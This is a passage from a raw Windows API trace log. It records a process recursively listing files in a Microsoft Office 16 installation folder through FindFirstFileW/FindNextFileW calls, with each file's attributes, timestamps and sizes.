ftLastAccessTime.dwLowDateTime=0xef8a36d6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef8a36d6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x76658, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CLVIEW.EXE", cAlternateFileName="")) returned 1 [0282.963] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1754c10, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe1754c10, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee3545e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x36e40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CNFNOT32.EXE", cAlternateFileName="")) returned 1 [0282.963] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1774e9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71c89, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CommunicatorContentBinApp.xap", cAlternateFileName="COMMUN~1.XAP")) returned 1 [0282.963] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x514a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0282.963] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1774e9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1774e9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Configuration", cAlternateFileName="CONFIG~1")) returned 1 [0282.964] GetProcessHeap () returned 0xaf0000 [0282.964] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0282.964] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Configuration\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1774e9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1774e9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.128] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1774e9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1774e9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.128] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1774e9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1774e9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1774e9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x438, dwReserved0=0x0, dwReserved1=0x0, cFileName="card_expiration_terms_dict.txt", cAlternateFileName="CARD_E~1.TXT")) returned 1 [0283.128] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17728794, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17728794, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1774e9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="card_security_terms_dict.txt", cAlternateFileName="CARD_S~1.TXT")) returned 1 [0283.128] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17728794, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17728794, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1774e9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="card_terms_dict.txt", cAlternateFileName="CARD_T~1.TXT")) returned 1 [0283.128] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1774e9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1774e9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1774e9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10283, dwReserved0=0x0, dwReserved1=0x0, cFileName="config.xml", cAlternateFileName="")) returned 1 [0283.128] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17728794, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17728794, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17728794, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x171e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssn_high_group_info.txt", cAlternateFileName="SSN_HI~1.TXT")) returned 1 [0283.129] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17728794, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17728794, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17728794, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x171e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssn_high_group_info.txt", cAlternateFileName="SSN_HI~1.TXT")) returned 0 [0283.129] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0283.130] GetProcessHeap () returned 0xaf0000 [0283.130] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0283.130] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c80c48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c80c48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca4703d4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ee58, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1 [0283.130] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec4ee541, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CONVERT", cAlternateFileName="")) returned 1 [0283.130] GetProcessHeap () returned 0xaf0000 [0283.130] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0283.131] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec4ee541, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0283.131] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec4ee541, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.131] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec4ee541, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf477755d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cd4a32, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0283.131] GetProcessHeap () returned 0xaf0000 [0283.131] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.132] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec4ee541, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf477755d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cd4a32, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0283.136] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec4ee541, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf477755d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cd4a32, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.136] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf477755d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf477755d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3088, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELIMR.FAE", cAlternateFileName="")) returned 1 [0283.136] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb068, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCALDV.DLL", cAlternateFileName="")) returned 1 [0283.136] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec4ee541, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xec4ee541, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xec5f95b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLADDR.FAE", cAlternateFileName="")) returned 1 [0283.136] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bce2f5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bce2f5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x34a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLAPPTR.FAE", cAlternateFileName="")) returned 1 [0283.136] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b359a5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b359a5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3098, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLJRNLR.FAE", cAlternateFileName="")) returned 1 [0283.136] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12b7378, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12dd5ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLMAILR.FAE", cAlternateFileName="")) returned 1 [0283.136] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cd4a32, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cd4a32, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cd4a32, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e90, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLNOTER.FAE", cAlternateFileName="")) returned 1 [0283.137] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLR.SAM", cAlternateFileName="")) returned 1 [0283.137] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xed388c20, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3290, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLTASKR.FAE", cAlternateFileName="")) returned 1 [0283.137] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefca9683, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefca9683, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefccf8e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMRR.DLL", cAlternateFileName="")) returned 1 [0283.137] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefca9683, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefca9683, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefccf8e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMRR.DLL", cAlternateFileName="")) returned 0 [0283.137] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0283.138] GetProcessHeap () returned 0xaf0000 [0283.138] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.138] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6b60d2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6b60d2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6b60d2f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x90e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELIMWIN.FAE", cAlternateFileName="")) returned 1 [0283.138] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7060, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESKSAM.SAM", cAlternateFileName="")) returned 1 [0283.138] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x718b80, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x718b80, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OL.SAM", cAlternateFileName="")) returned 1 [0283.139] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae953d0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae953d0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1774e9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x212e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLADD.FAE", cAlternateFileName="")) returned 1 [0283.139] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc646a83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc646a83, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1e8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLAPPT.FAE", cAlternateFileName="")) returned 1 [0283.139] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf466c4e5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf466c4e5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf466c4e5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12c80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLJRNL.FAE", cAlternateFileName="")) returned 1 [0283.139] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d05722, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1774e9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a78, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLMAIL.FAE", cAlternateFileName="")) returned 1 [0283.139] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe878, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLNOTE.FAE", cAlternateFileName="")) returned 1 [0283.139] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc43098a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ce78, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLTASK.FAE", cAlternateFileName="")) returned 1 [0283.139] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc6b9190, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc6b9190, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc70564d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19248, dwReserved0=0x0, dwReserved1=0x0, cFileName="RM.DLL", cAlternateFileName="")) returned 1 [0283.140] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x632fb8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x632fb8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x24060, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMGR.DLL", cAlternateFileName="")) returned 1 [0283.140] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x632fb8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x632fb8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x24060, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMGR.DLL", cAlternateFileName="")) returned 0 [0283.140] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0283.140] GetProcessHeap () returned 0xaf0000 [0283.140] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0283.141] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bd0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="cpprest140_2_6.dll", cAlternateFileName="CPPRES~1.DLL")) returned 1 [0283.141] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x17d4481d, 